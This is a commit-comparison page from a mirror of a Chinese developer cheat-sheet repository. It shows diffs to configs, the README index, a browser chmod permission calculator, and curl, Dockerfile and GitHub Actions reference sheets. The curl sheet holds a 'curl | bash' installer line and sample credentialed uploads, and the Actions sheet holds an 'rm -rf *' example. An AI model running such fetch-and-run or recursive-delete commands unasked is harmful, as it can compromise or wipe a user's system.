mirror of
https://github.com/jaywcjlove/reference.git
synced 2025-06-17 04:31:22 +08:00
Compare commits
43 Commits
| Author | SHA1 | Date | |
|---|---|---|---|
| 37c9f23952 | |||
| cb704eed88 | |||
| 75fece7aab | |||
| 3966175a39 | |||
| 0c03059cde | |||
| efae1dc846 | |||
| 4132a13a96 | |||
| bd082908d8 | |||
| dd8a3cb26d | |||
| 6d0801a9da | |||
| 6290b9eae0 | |||
| 9479626194 | |||
| ad4b2e9119 | |||
| d48341cecb | |||
| 5aec989c14 | |||
| 13492fe556 | |||
| d145aaa0b0 | |||
| 531c01d62e | |||
| 0a160d22d8 | |||
| 0a070e996c | |||
| 54faf5c19c | |||
| 09f57d1848 | |||
| f875a335e1 | |||
| b743110c9d | |||
| d1c9871504 | |||
| a478fbb888 | |||
| fdcfcb287b | |||
| 3003e3db66 | |||
| ca1f5ad470 | |||
| d0d371b165 | |||
| 54b7faee00 | |||
| 8d7cc05f4d | |||
| 4498add1f2 | |||
| 6c8e56ad61 | |||
| ef976825e4 | |||
| 9d3a061bff | |||
| cd1be27fae | |||
| 9774884614 | |||
| c357f95bf0 | |||
| b37c268882 | |||
| 7edba8e207 | |||
| efbd007801 | |||
| f01c001040 |
15
.github/ISSUE_TEMPLATE/cheatsheet-request.md
vendored
15
.github/ISSUE_TEMPLATE/cheatsheet-request.md
vendored
@ -5,21 +5,16 @@ title: '备忘清单 请求: '
|
||||
labels: request
|
||||
assignees: jaywcjlove
|
||||
---
|
||||
备忘清单标题 备忘清单
|
||||
【备忘清单标题】 备忘清单
|
||||
===
|
||||
|
||||
这是您可以在 Quick Reference 备忘清单上使用的参考！【备忘清单介绍】
|
||||
|
||||
入门
|
||||
---
|
||||
|
||||
### 卡片 1
|
||||
如果有一张备忘单(速查表) [`参考这里`](https://github.com/jaywcjlove/reference/blob/main/CONTRIBUTING.md) 为仓库贡献。
|
||||
|
||||
### 卡片 2
|
||||
|
||||
### 卡片 3
|
||||
|
||||
另见
|
||||
提供参考资料地址
|
||||
----
|
||||
|
||||
- [参考地址](https://xxx.com)
|
||||
- [参考地址 1](https://xxx.com)
|
||||
- [官网地址](https://xxx.com)
|
||||
7
.github/workflows/ci.yml
vendored
7
.github/workflows/ci.yml
vendored
@ -16,6 +16,13 @@ jobs:
|
||||
- run: npm install
|
||||
- run: npm run build
|
||||
|
||||
- name: Generate Contributors Images
|
||||
uses: jaywcjlove/github-action-contributors@main
|
||||
with:
|
||||
filter-author: (renovate\[bot\]|renovate-bot|dependabot\[bot\])
|
||||
output: dist/CONTRIBUTORS.svg
|
||||
avatarSize: 42
|
||||
|
||||
- name: Create Tag
|
||||
id: create_tag
|
||||
uses: jaywcjlove/create-tag-action@main
|
||||
|
||||
4
.husky/pre-commit
Executable file
4
.husky/pre-commit
Executable file
@ -0,0 +1,4 @@
|
||||
#!/usr/bin/env sh
|
||||
. "$(dirname -- "$0")/_/husky.sh"
|
||||
|
||||
npx --no-install lint-staged
|
||||
3
.lintstagedrc
Normal file
3
.lintstagedrc
Normal file
@ -0,0 +1,3 @@
|
||||
{
|
||||
"**/*.{mjs,css,json,prettierrc,lintstagedrc}": ["prettier --write"]
|
||||
}
|
||||
5
.prettierignore
Normal file
5
.prettierignore
Normal file
@ -0,0 +1,5 @@
|
||||
package.json
|
||||
coverage
|
||||
dist
|
||||
build
|
||||
docs
|
||||
9
.prettierrc
Normal file
9
.prettierrc
Normal file
@ -0,0 +1,9 @@
|
||||
{
|
||||
"singleQuote": true,
|
||||
"trailingComma": "all",
|
||||
"printWidth": 120,
|
||||
"overrides": [
|
||||
{ "files": ".prettierrc", "options": { "parser": "json" } },
|
||||
{ "files": ".lintstagedrc", "options": { "parser": "json" } }
|
||||
]
|
||||
}
|
||||
@ -16,6 +16,26 @@ Contributing 贡献
|
||||
|
||||
只需要 `标题<h1>` 和`介绍`(标题下面)。脚本会自动识别，通过 GitHub Actions 自动发布 [`Quick Reference`](https://jaywcjlove.github.io/reference) 网站。
|
||||
|
||||
## 目录结构
|
||||
|
||||
```bash
|
||||
.
|
||||
├── CONTRIBUTING.md # 贡献说明
|
||||
├── Dockerfile
|
||||
├── LICENSE
|
||||
├── README.md # Home(首页) 内容
|
||||
├── dist # 编译后的静态资源目录
|
||||
├── docs # Markdown 文档（快速参考备忘清单【速查表】）
|
||||
│ ├── bash.md
|
||||
│ ├── ....
|
||||
│ └── yaml.md
|
||||
├── package.json
|
||||
└── scripts # MD 转 HTML 的编译脚本
|
||||
├── assets # 存放首页 svg 图标文件资源，与 `dosc` 文件名对应
|
||||
├── ....
|
||||
└── watch.mjs
|
||||
```
|
||||
|
||||
## CSS 类注释
|
||||
|
||||
[`Quick Reference`](https://jaywcjlove.github.io/reference) 使用 [`@wcj/markdown-to-html`](https://github.com/jaywcjlove/markdown-to-html) 转换 `Markdown`，并使用 [`rehype-attr`](https://github.com/jaywcjlove/rehype-attr) 插件让其支持通过其注释语法添加类和样式。 此外，您可以在 Quick Reference 备忘清单上使用样式参考：https://jaywcjlove.github.io/reference/docs/quickreference.html
|
||||
@ -34,6 +54,13 @@ Contributing 贡献
|
||||
<!--rehype:class=home-card-->
|
||||
```
|
||||
|
||||
首页导航图标存放在 `scripts/assets` 目录中，如果你的备忘清单定义为 `docs/cron.md`，那么你的图标就定义为 `cron.svg` 存放到 `scripts/assets` 目录中，重新编译首页当行菜单就拥有了图标。
|
||||
|
||||
- 图标存放在 [`scripts/assets`](https://github.com/jaywcjlove/reference/blob/main/scripts/assets) 目录中
|
||||
- 图片名称与清单名称保持一致 `cron.md` -> `cron.svg` (注意大小写)
|
||||
- SVG 图标尺寸 `<svg height="1em" width="1em"`
|
||||
- SVG 图标颜色使用继承颜色值 `<svg fill="currentColor"`
|
||||
|
||||
## 本地开发
|
||||
|
||||
```bash
|
||||
|
||||
28
README.md
28
README.md
@ -9,10 +9,10 @@ Quick Reference
|
||||
<!--rehype:ignore:end-->
|
||||
|
||||
<!--rehype:ignore:start-->
|
||||
[](https://jaywcjlove.github.io/reference)
|
||||
[](https://jaywcjlove.github.io/reference)
|
||||
<!--rehype:ignore:end-->
|
||||
|
||||
为开发人员分享快速参考备忘清单(主要是方便自己)，在看到 [Reference](https://github.com/Randy8080/reference) 快速参考备忘单，感觉非常简单，造轮子使命感突然来了，造个中文版本的，为了方便自己的技术栈查阅，立马撸起来 :)。如果您发现此处的备忘单不合适，您可以通过提交 [PR](https://github.com/jaywcjlove/reference/blob/main/CONTRIBUTING.md) 来修复它或提供更好的备忘清单，只针对【中文】用户。以下是开源天使提供的一些备忘清单和快速参考 :)。
|
||||
为开发人员分享快速参考备忘清单【速查表】 _(主要是方便自己)_，在看到 [Reference](https://github.com/Randy8080/reference) 快速参考备忘单，感觉非常简单，造轮子使命感突然来了，造个中文版本的，为了方便自己的技术栈查阅，立马撸起来 :)。如果您发现此处的备忘单不合适，您可以通过提交 [PR](https://github.com/jaywcjlove/reference/blob/main/CONTRIBUTING.md) 来修复它或提供更好的备忘清单，只针对【中文】用户。以下是开源天使提供的一些备忘清单和快速参考 :)。
|
||||
|
||||
## 编程
|
||||
|
||||
@ -21,9 +21,12 @@ Quick Reference
|
||||
[Docker](./docs/docker.md)<!--rehype:style=background: rgb(72 143 223/var(\-\-bg\-opacity));-->
|
||||
[Dockerfile](./docs/dockerfile.md)<!--rehype:style=background: rgb(0 72 153/var(\-\-bg\-opacity));-->
|
||||
[Golang](./docs/golang.md)<!--rehype:style=background: rgb(39 160 193/var(\-\-bg\-opacity));-->
|
||||
[INI](./docs/ini.md)<!--rehype:style=background: rgb(57 59 60/var(\-\-bg\-opacity));-->
|
||||
[JSON](./docs/json.md)<!--rehype:style=background: rgb(57 59 60/var(\-\-bg\-opacity));-->
|
||||
[Markdown](./docs/markdown.md)<!--rehype:style=background: rgb(103 61 156/var(\-\-bg\-opacity));-->
|
||||
[MySQL](./docs/mysql.md)<!--rehype:style=background: rgb(103 61 156/var(\-\-bg\-opacity));-->
|
||||
[Swift](./docs/swift.md)<!--rehype:style=background: rgb(240 81 57/var(\-\-bg\-opacity));-->
|
||||
[SwiftUI](./docs/swiftui.md)<!--rehype:style=background: rgb(10 127 247/var(\-\-bg\-opacity));-->
|
||||
[TOML](./docs/toml.md)<!--rehype:style=background: rgb(132 132 132/var(\-\-bg\-opacity));-->
|
||||
[YAML](./docs/yaml.md)<!--rehype:style=background: rgb(91 163 230/var(\-\-bg\-opacity));-->
|
||||
<!--rehype:class=home-card-->
|
||||
@ -34,16 +37,20 @@ Quick Reference
|
||||
[Electron](./docs/electron.md)<!--rehype:style=background: rgb(0 72 153/var(\-\-bg\-opacity));-->
|
||||
[Emmet](./docs/emmet.md)<!--rehype:style=background: rgb(122 203 23/var(\-\-bg\-opacity));-->
|
||||
[Styled Components](./docs/styled-components.md)<!--rehype:style=background: rgb(221 60 184/var(\-\-bg\-opacity));-->
|
||||
[Stylus](./docs/stylus.md)<!--rehype:style=background: rgb(109 161 63/var(\-\-bg\-opacity));-->
|
||||
[Sass](./docs/sass.md)<!--rehype:style=background: rgb(207 100 154/var(\-\-bg\-opacity));-->
|
||||
[HTML](./docs/html.md)<!--rehype:style=background: rgb(228 77 39/var(\-\-bg\-opacity));-->
|
||||
[JavaScript](./docs/javascript.md)<!--rehype:style=background: rgb(203 183 31/var(\-\-bg\-opacity));-->
|
||||
[Jest](./docs/jest.md)<!--rehype:style=background: rgb(153 66 91/var(\-\-bg\-opacity));-->
|
||||
[Lerna](./docs/lerna.md)<!--rehype:style=background: rgb(192 132 252/var(\-\-bg\-opacity));-->
|
||||
[Less.js](./docs/lessjs.md)<!--rehype:style=background: rgb(29 54 93/var(\-\-bg\-opacity));-->
|
||||
[npm](./docs/npm.md)<!--rehype:style=background: rgb(203 2 0/var(\-\-bg\-opacity));-->
|
||||
[package.json](./docs/package.json.md)<!--rehype:style=background: rgb(132 132 132/var(\-\-bg\-opacity));-->
|
||||
[React](./docs/react.md)<!--rehype:style=background: rgb(34 143 173/var(\-\-bg\-opacity));-->
|
||||
[RegEx](./docs/regex.md)<!--rehype:style=background: rgb(149 36 155/var(\-\-bg\-opacity));-->
|
||||
[TypeScript](./docs/typescript.md)<!--rehype:style=background: rgb(49 120 198/var(\-\-bg\-opacity));-->
|
||||
[Vue 2](./docs/vue2.md)<!--rehype:style=background: rgb(64 184 131/var(\-\-bg\-opacity));-->
|
||||
[Vue 3 (努力中...)](./docs/vue.md)<!--rehype:style=background: rgb(64 184 131/var(\-\-bg\-opacity));-->
|
||||
<!--rehype:class=home-card-->
|
||||
|
||||
## Nodejs
|
||||
@ -74,6 +81,8 @@ Quick Reference
|
||||
[find](./docs/find.md)<!--rehype:style=background: rgb(16 185 129/var(\-\-bg\-opacity));-->
|
||||
[htop](./docs/htop.md)<!--rehype:style=background: rgb(16 185 129/var(\-\-bg\-opacity));-->
|
||||
[Home Brew](./docs/homebrew.md)<!--rehype:style=background: rgb(252 185 87/var(\-\-bg\-opacity));-->
|
||||
[Netstat](./docs/netstat.md)<!--rehype:style=background: rgb(16 185 129/var(\-\-bg\-opacity));-->
|
||||
[Netcat](./docs/netcat.md)<!--rehype:style=background: rgb(4 92 135/var(\-\-bg\-opacity));-->
|
||||
[Sed](./docs/sed.md)<!--rehype:style=background: rgb(16 185 129/var(\-\-bg\-opacity));-->
|
||||
[SSH](./docs/ssh.md)<!--rehype:style=background: rgb(99 99 99/var(\-\-bg\-opacity));-->
|
||||
[Screen](./docs/screen.md)<!--rehype:style=background: rgb(99 99 99/var(\-\-bg\-opacity));-->
|
||||
@ -87,6 +96,7 @@ Quick Reference
|
||||
[HTTP 状态码](./docs/http-status-code.md)<!--rehype:style=background: rgb(16 185 129/var(\-\-bg\-opacity));-->
|
||||
[HTML 字符实体](./docs/html-char.md)<!--rehype:style=background: rgb(16 185 129/var(\-\-bg\-opacity));-->
|
||||
[Emoji](./docs/emoji.md)<!--rehype:style=background: rgb(16 185 129/var(\-\-bg\-opacity));-->
|
||||
[Resolutions](./docs/resolutions.md)<!--rehype:style=background: rgb(16 185 129/var(\-\-bg\-opacity));-->
|
||||
<!--rehype:class=home-card-->
|
||||
|
||||
## 看到缺少什么了吗？
|
||||
@ -94,11 +104,21 @@ Quick Reference
|
||||
|
||||
上面的列表没有看到你想要的？ 您是否正在寻找一些备忘清单或参考资料，或者您有一些片段备忘清单要分享，这是一个最好的机会！
|
||||
|
||||
[`请求添加备忘单`](https://github.com/jaywcjlove/reference/issues/new?title=【备忘清单】+请求%3A+&labels=request&template=cheatsheet-request.md&assignee=jaywcjlove)<!--rehype:class=home-button&style=margin-top:2rem&target=__blank-->
|
||||
[`我有一张备忘单`](https://github.com/jaywcjlove/reference/blob/main/CONTRIBUTING.md)<!--rehype:class=home-button text-grey&target=__blank-->
|
||||
[`请求添加备忘单(速查表)`](https://github.com/jaywcjlove/reference/issues/new?title=【备忘清单】+请求%3A+&labels=request&template=cheatsheet-request.md&assignee=jaywcjlove)<!--rehype:class=home-button&style=margin-top:2rem&target=__blank-->
|
||||
[`我有一张备忘单(速查表)`](https://github.com/jaywcjlove/reference/blob/main/CONTRIBUTING.md)<!--rehype:class=home-button text-grey&target=__blank-->
|
||||
<!--rehype:style=margin-top:3rem-->
|
||||
|
||||
<!--rehype:ignore:start-->
|
||||
## 贡献
|
||||
|
||||
请参阅[贡献指南](./CONTRIBUTING.md)了解如何开始。一如既往，感谢我们出色的贡献者！
|
||||
|
||||
<a href="https://github.com/jaywcjlove/reference/graphs/contributors">
|
||||
<img src="https://jaywcjlove.github.io/reference/CONTRIBUTORS.svg" />
|
||||
</a>
|
||||
|
||||
上图贡献者列表，由 [contributors](https://github.com/jaywcjlove/github-action-contributors) 自动生成贡献者图片。
|
||||
|
||||
## License
|
||||
|
||||
MIT © [Kenny Wong](https://github.com/jaywcjlove)
|
||||
|
||||
@ -34,11 +34,9 @@ NAME = "John" # => Error (关于空间)
|
||||
|
||||
### 注释
|
||||
|
||||
```bash
|
||||
# 这是一个内联 Bash 注释。
|
||||
```
|
||||
|
||||
```shell
|
||||
# 这是一个内联 Bash 注释。
|
||||
|
||||
: '
|
||||
这是一个
|
||||
非常整洁的评论
|
||||
|
||||
246
docs/chmod.md
246
docs/chmod.md
@ -31,10 +31,21 @@ $ chmod -R 755 my_directory
|
||||
|
||||
### Chmod 生成器
|
||||
|
||||
```html
|
||||
|
||||
```html preview
|
||||
<div>
|
||||
权限：<input type="text" id="num" placeholder="777" maxlength="3" style="padding: 0.3rem 0.3rem;" /> <input type="text" id="let" placeholder="rwxrwxrwx" maxlength="9" style="padding: 0.3rem 0.3rem;" />
|
||||
</div>
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
| User | Group | Other
|
||||
:- | :- | :- | :-
|
||||
读 _(Read)_ | <input checked id="1" type="checkbox"></input> | <input checked id="4" type="checkbox"></input> | <input checked id="7" type="checkbox"></input>
|
||||
写 _(Write)_ | <input checked id="2" type="checkbox"></input> | <input checked id="5" type="checkbox"></input> | <input checked id="8" type="checkbox"></input>
|
||||
执行 _(Execute)_ | <input checked id="3" type="checkbox"></input> | <input checked id="6" type="checkbox"></input> | <input checked id="9" type="checkbox"></input>
|
||||
<!--rehype:className=show-header-->
|
||||
|
||||
Chmod 生成器允许您以数字和符号的形式快速、直观地生成权限。
|
||||
|
||||
### 通用权限
|
||||
@ -263,4 +274,233 @@ $ find /path -type f -exec chmod 644 {} \;
|
||||
另见
|
||||
----
|
||||
|
||||
* [使用 chmod 修改文件权限](https://www.linode.com/docs/guides/modify-file-permissions-with-chmod/) _(linode.com)_
|
||||
* [使用 chmod 修改文件权限](https://www.linode.com/docs/guides/modify-file-permissions-with-chmod/) _(linode.com)_
|
||||
|
||||
<!--rehype:ignore:start-->
|
||||
### 以下是 Chmod 生成器 JS 代码（代码用于网站请忽略不要删除）
|
||||
<!--rehype:ignore:end-->
|
||||
|
||||
```html preview
|
||||
<!-- Chmod 生成器 JS 代码 -->
|
||||
<script type="text/javascript">
|
||||
const reg_num = /^[0-7]{3}$/; // 一些正则表达式来检查 num 输入
|
||||
const reg_let = /^([r\-]{1}[w\-]{1}[x\-]{1}){3}$/; // 一些正则表达式来检查文本输入
|
||||
function checkBoxHandle() {
|
||||
change_occured(true, false, false);
|
||||
// get rid of bad input classes
|
||||
document.getElementById('num').classList.remove('bad-input');
|
||||
document.getElementById('let').classList.remove('bad-input');
|
||||
}
|
||||
window.addEventListener("DOMContentLoaded", function () {
|
||||
// loop over all the check boxes
|
||||
for (let i = 1; i < 10; i++) {
|
||||
let checkBox = document.getElementById(`${i}`);
|
||||
checkBox.addEventListener('change', function () {
|
||||
change_occured(true, false, false);
|
||||
|
||||
// get rid of bad input classes
|
||||
document.getElementById('num').classList.remove('bad-input');
|
||||
|
||||
document.getElementById('let').classList.remove('bad-input');
|
||||
});
|
||||
}
|
||||
// the octal input
|
||||
let num_input = document.getElementById('num');
|
||||
let num_fn = function () {
|
||||
// check for bad input
|
||||
if (!reg_num.test(this.value)) {
|
||||
this.classList.add('bad-input');
|
||||
} else {
|
||||
this.classList.remove('bad-input');
|
||||
change_occured(false, true, false);
|
||||
}
|
||||
};
|
||||
num_input.addEventListener('change', num_fn);
|
||||
num_input.addEventListener('keyup', num_fn);
|
||||
// the let input
|
||||
let let_input = document.getElementById('let');
|
||||
let let_fn = function () {
|
||||
// check for bad input
|
||||
if (!reg_let.test(this.value)) {
|
||||
this.classList.add('bad-input');
|
||||
} else {
|
||||
this.classList.remove('bad-input');
|
||||
change_occured(false, false, true);
|
||||
}
|
||||
};
|
||||
let_input.addEventListener('change',let_fn);
|
||||
let_input.addEventListener('keyup',let_fn);
|
||||
});
|
||||
/* SETUP
|
||||
r-4-1 r-4-4 r-4-7
|
||||
w-2-2 w-2-5 w-2-8
|
||||
x-1-3 x-1-6 x-1-9
|
||||
*/
|
||||
// define a function that runs when a change occures
|
||||
function change_occured(caller_was_check, caller_was_num, caller_was_let) {
|
||||
let num1 = 0, num2 = 0, num3 = 0; // these are the three numbers for the octal
|
||||
let perm_string = ''; // holds the permision string ex. rw-x--r--
|
||||
if (caller_was_check) {
|
||||
// loop over all the check boxes and get the permisions
|
||||
for (let i = 1; i < 10; i++) {
|
||||
let checkBox = document.getElementById(`${i}`);
|
||||
if (checkBox.checked) { // if checked
|
||||
let current_perm = check_to_octal_and_text(i);
|
||||
perm_string += `${current_perm.perm_let}`;
|
||||
if (i <= 3) {
|
||||
num1 += current_perm.perm_num;
|
||||
} else if (i <= 6) {
|
||||
num2 += current_perm.perm_num;
|
||||
} else {
|
||||
num3 += current_perm.perm_num;
|
||||
}
|
||||
} else { // if not checked
|
||||
perm_string += '-';
|
||||
}
|
||||
}
|
||||
// set the permision input text
|
||||
document.getElementById('let').value = perm_string;
|
||||
document.getElementById('num').value = `${num1}${num2}${num3}`;
|
||||
} else if (caller_was_num) {
|
||||
// get the individual numbers
|
||||
let num_input_val = document.getElementById('num').value;
|
||||
num1 = num_input_val.substring(0, 1);
|
||||
num2 = num_input_val.substring(1, 2);
|
||||
num3 = num_input_val.substring(2, 3);
|
||||
// set the checkboxes and get the perm string
|
||||
perm_string += octal_to_check_and_txt(num1, 0); //Owner
|
||||
perm_string += octal_to_check_and_txt(num2, 1); //Owner
|
||||
perm_string += octal_to_check_and_txt(num3, 2); //Owner
|
||||
// set the permision input text
|
||||
document.getElementById('let').value = perm_string;
|
||||
} else if (caller_was_let) {
|
||||
// get the text input
|
||||
let perm_text = document.getElementById('let').value;
|
||||
num1 = text_to_check_and_octal(perm_text.substring(0, 3), 0)
|
||||
num2 = text_to_check_and_octal(perm_text.substring(3, 6), 3)
|
||||
num3 = text_to_check_and_octal(perm_text.substring(6, 9), 6)
|
||||
// set the octal value
|
||||
document.getElementById('num').value = `${num1}${num2}${num3}`;
|
||||
}
|
||||
}
|
||||
// define a function to converts the checkbox # to the respective permissions
|
||||
// returns perm_num, perm_let
|
||||
function check_to_octal_and_text(check_num) {
|
||||
let perm_num = 0;
|
||||
let perm_let = '-';
|
||||
switch (check_num) {
|
||||
case 1:
|
||||
case 4:
|
||||
case 7:
|
||||
perm_num = 4;
|
||||
perm_let = 'r';
|
||||
break;
|
||||
case 2:
|
||||
case 5:
|
||||
case 8:
|
||||
perm_num = 2;
|
||||
perm_let = 'w';
|
||||
break;
|
||||
case 3:
|
||||
case 6:
|
||||
case 9:
|
||||
perm_num = 1;
|
||||
perm_let = 'x';
|
||||
break;
|
||||
default:
|
||||
perm_num = 0;
|
||||
perm_let = '-';
|
||||
}
|
||||
// return values
|
||||
return {
|
||||
perm_num,
|
||||
perm_let
|
||||
};
|
||||
}
|
||||
/**
|
||||
Takes a number 1-7 and which class it is in:
|
||||
0 = owner
|
||||
1 = Group
|
||||
2 = Public
|
||||
Returns: perm text (ex. "rwx") and sets the appropriate checkboxes
|
||||
*/
|
||||
function octal_to_check_and_txt(octal_num, class_num) {
|
||||
let perm_text = '';
|
||||
let offset = class_num * 3;
|
||||
switch (octal_num) {
|
||||
case '1':
|
||||
document.getElementById(`${1 + offset}`).checked = false;
|
||||
document.getElementById(`${2 + offset}`).checked = false;
|
||||
document.getElementById(`${3 + offset}`).checked = true;
|
||||
perm_text = '--x';
|
||||
break;
|
||||
case '2':
|
||||
document.getElementById(`${1 + offset}`).checked = false;
|
||||
document.getElementById(`${2 + offset}`).checked = true;
|
||||
document.getElementById(`${3 + offset}`).checked = false;
|
||||
perm_text = '-w-';
|
||||
break;
|
||||
case '3':
|
||||
document.getElementById(`${1 + offset}`).checked = false;
|
||||
document.getElementById(`${2 + offset}`).checked = true;
|
||||
document.getElementById(`${3 + offset}`).checked = true;
|
||||
perm_text = '-wx';
|
||||
break;
|
||||
case '4':
|
||||
document.getElementById(`${1 + offset}`).checked = true;
|
||||
document.getElementById(`${2 + offset}`).checked = false;
|
||||
document.getElementById(`${3 + offset}`).checked = false;
|
||||
perm_text = 'r--';
|
||||
break;
|
||||
case '5':
|
||||
document.getElementById(`${1 + offset}`).checked = true;
|
||||
document.getElementById(`${2 + offset}`).checked = false;
|
||||
document.getElementById(`${3 + offset}`).checked = true;
|
||||
perm_text = 'r-x';
|
||||
break;
|
||||
case '6':
|
||||
document.getElementById(`${1 + offset}`).checked = true;
|
||||
document.getElementById(`${2 + offset}`).checked = true;
|
||||
document.getElementById(`${3 + offset}`).checked = false;
|
||||
perm_text = 'rw-';
|
||||
break;
|
||||
case '7':
|
||||
document.getElementById(`${1 + offset}`).checked = true;
|
||||
document.getElementById(`${2 + offset}`).checked = true;
|
||||
document.getElementById(`${3 + offset}`).checked = true;
|
||||
perm_text = 'rwx';
|
||||
break;
|
||||
default:
|
||||
document.getElementById(`${1 + offset}`).checked = false;
|
||||
document.getElementById(`${2 + offset}`).checked = false;
|
||||
document.getElementById(`${3 + offset}`).checked = false;
|
||||
perm_text = '---';
|
||||
}
|
||||
return perm_text;
|
||||
}
|
||||
/**
|
||||
Takes 3 letters (r, w, x, - ex. 'rw-') and an offset (0,3,6)
|
||||
Returns the octal num and sets the appropriate checkboxes
|
||||
*/
|
||||
function text_to_check_and_octal(letters, offset) {
|
||||
let perm_num = 0; // the octal number to return
|
||||
// add up the oct num and set the check boxes
|
||||
for (let i = 0; i < 3; i++) {
|
||||
current_let = letters.substring(i, i + 1);
|
||||
if (current_let == 'r') {
|
||||
document.getElementById(`${i + 1 + offset}`).checked = true;
|
||||
perm_num += 4;
|
||||
} else if (current_let == 'w') {
|
||||
document.getElementById(`${i + 1 + offset}`).checked = true;
|
||||
perm_num += 2;
|
||||
} else if (current_let == 'x') {
|
||||
document.getElementById(`${i + 1 + offset}`).checked = true;
|
||||
perm_num += 1;
|
||||
} else {
|
||||
document.getElementById(`${i + 1 + offset}`).checked = false;
|
||||
}
|
||||
}
|
||||
return perm_num;
|
||||
}
|
||||
</script>
|
||||
```
|
||||
@ -95,7 +95,7 @@ Min Hour Day Mon Weekday
|
||||
`L` | 仅允许用于 `月份中的某天` 或 `星期几` 字段，`星期几` 中的 `2L` 表示每个月的最后一个星期二
|
||||
`井号 (#)` | 仅允许用于 `星期几` 字段，后面必须在 1 到 5 的范围内。例如，`4#1` 表示给定月份的“第一个星期四”。
|
||||
`问号(?)` | 可以代替“*”并允许用于月份和星期几。使用仅限于 cron 表达式中的 `月份中的某天` 或 `星期几`。
|
||||
<!--rehype:className=show-header -->
|
||||
<!--rehype:className=show-header auto-wrap-->
|
||||
|
||||
|
||||
## Also see
|
||||
|
||||
@ -110,7 +110,7 @@ apk add --update curl # alpine linux 中安装
|
||||
`curl --connect-timeout 10 -I -k https://www.baidu.com` | `curl` 默认没有超时
|
||||
`curl --verbose --header "Host: www.mytest.com:8182" www.baidu.com` | `curl` 得到额外的标题
|
||||
`curl -k -v https://www.google.com` | `curl` 获取带有标题的响应
|
||||
|
||||
<!--rehype:class=auto-wrap-->
|
||||
|
||||
### 多文件上传
|
||||
<!--rehype:wrap-class=col-span-2-->
|
||||
@ -136,6 +136,7 @@ $ curl -XGET http://${elasticsearch_ip}:9200/_cluster/nodes | python -m json.too
|
||||
:- | :-
|
||||
`curl -d "name=username&password=123456" <URL>` | `curl` 发请求
|
||||
`curl <URL> -H "content-type: application/json" -d "{ \"woof\": \"bark\"}"` | `curl` 发送 json
|
||||
<!--rehype:class=auto-wrap-->
|
||||
|
||||
### CURL 脚本安装 rvm
|
||||
<!--rehype:wrap-class=col-span-2-->
|
||||
@ -156,6 +157,7 @@ curl -sSL https://get.rvm.io | bash
|
||||
`curl -T cryptopp552.zip -u test:test ftp://10.32.99.187/` | curl `ftp` 上传
|
||||
`curl -u test:test ftp://10.32.99.187/cryptopp552.zip -o cryptopp552.zip` | curl `ftp` 下载
|
||||
`curl -v -u admin:admin123 --upload-file package1.zip http://mysever:8081/dir/package1.zip` | 使用凭证 `curl` 上传
|
||||
<!--rehype:class=auto-wrap-->
|
||||
|
||||
### 检查网站响应时间
|
||||
<!--rehype:wrap-class=col-span-4-->
|
||||
|
||||
@ -110,6 +110,7 @@ RUN true | false # 将脱离管道
|
||||
`CMD ["executable","param1","param2"]` | (exec 形式，这是首选形式)
|
||||
`CMD ["param1","param2"]` | (作为 ENTRYPOINT 的默认参数)
|
||||
`CMD command param1 param2` | (shell形式)
|
||||
<!--rehype:class=auto-wrap-->
|
||||
|
||||
```dockerfile
|
||||
EXPOSE 5900
|
||||
@ -185,6 +186,7 @@ temp?
|
||||
`*/temp*` | 在根的任何直接子目录中<br />排除名称以 `temp` 开头的文件和目录
|
||||
`*/*/temp*` | 从根以下两级的任何子目录中<br />排除以 `temp` 开头的文件和目录
|
||||
`temp?` | 排除根目录中名称为<br /> `temp` 的单字符扩展名的文件和目录
|
||||
<!--rehype:class=auto-wrap-->
|
||||
|
||||
如果此文件存在，排除与其中的模式匹配的文件和目录，有利于避免 `ADD` 或 `COPY` 将敏感文件添加到镜像中。匹配是使用 Go 的 [filepath.Match](https://golang.org/pkg/path/filepath#Match) 规则完成的。
|
||||
|
||||
@ -203,6 +205,7 @@ temp?
|
||||
`CMD command param1 param2` | 设置默认命令
|
||||
`ENV <key>=<value> ...` | 设置环境变量
|
||||
`EXPOSE <port> [<port>/<protocol>...]` | 运行时侦听指定的网络端口
|
||||
<!--rehype:class=auto-wrap-->
|
||||
|
||||
### 服务静态网站的最小 Docker 镜像
|
||||
<!--rehype:wrap-class=col-span-2-->
|
||||
|
||||
@ -1,7 +1,7 @@
|
||||
Git 备忘清单
|
||||
===
|
||||
|
||||
本备忘单总结了常用的 Git 命令行指令，以供快速参考。
|
||||
本备忘单总结了常用的 [Git](https://git-scm.com/) 命令行指令，以供快速参考。
|
||||
|
||||
入门
|
||||
----
|
||||
|
||||
@ -340,7 +340,7 @@ env:
|
||||
myHexNumber: ${{ 0xff }}
|
||||
myExponentialNumber: ${{ -2.99e-2 }}
|
||||
myString: Mona the Octocat
|
||||
myStringInBraces: ${{ 'It''s open source!' }}
|
||||
myStringInBraces: ${{ 'It''s source!' }}
|
||||
```
|
||||
|
||||
### 函数 contains
|
||||
@ -375,6 +375,7 @@ startsWith('Hello world', 'He') // 返回 true
|
||||
format('{{Hello {0} {1} {2}!}}', 'Mona', 'the', 'Octocat')
|
||||
// 返回 '{Hello Mona the Octocat!}'.
|
||||
```
|
||||
<!--rehype:className=wrap-text -->
|
||||
|
||||
另见: [函数 format](https://docs.github.com/cn/actions/learn-github-actions/expressions#format)
|
||||
|
||||
@ -767,6 +768,72 @@ jobs:
|
||||
name: output-log-file
|
||||
```
|
||||
|
||||
### 指定运行命令的工作目录
|
||||
|
||||
```yml {3}
|
||||
- name: Clean temp directory
|
||||
run: rm -rf *
|
||||
working-directory: ./temp
|
||||
```
|
||||
|
||||
使用 `working-directory` 关键字，您可以指定运行命令的工作目录(`./temp`)
|
||||
|
||||
#### defaults.run
|
||||
|
||||
```yml {4,5,7}
|
||||
jobs:
|
||||
job1:
|
||||
runs-on: ubuntu-latest
|
||||
defaults:
|
||||
run:
|
||||
shell: bash
|
||||
working-directory: scripts
|
||||
```
|
||||
|
||||
作业中的所有 `run` 步骤提供默认的 `shell` 和 `working-directory`
|
||||
|
||||
### jobs.<job_id>.steps[*].shell
|
||||
|
||||
使用 `bash` 运行脚本
|
||||
|
||||
```yml {4}
|
||||
steps:
|
||||
- name: Display the path
|
||||
run: echo $PATH
|
||||
shell: bash
|
||||
```
|
||||
|
||||
运行 `python` 脚本
|
||||
|
||||
```yml {6}
|
||||
steps:
|
||||
- name: Display the path
|
||||
run: |
|
||||
import os
|
||||
print(os.environ['PATH'])
|
||||
shell: python
|
||||
```
|
||||
|
||||
您可以使用 `shell` 关键字覆盖运行器操作系统中的默认 `shell` 设置
|
||||
|
||||
### 一些 actions 推荐
|
||||
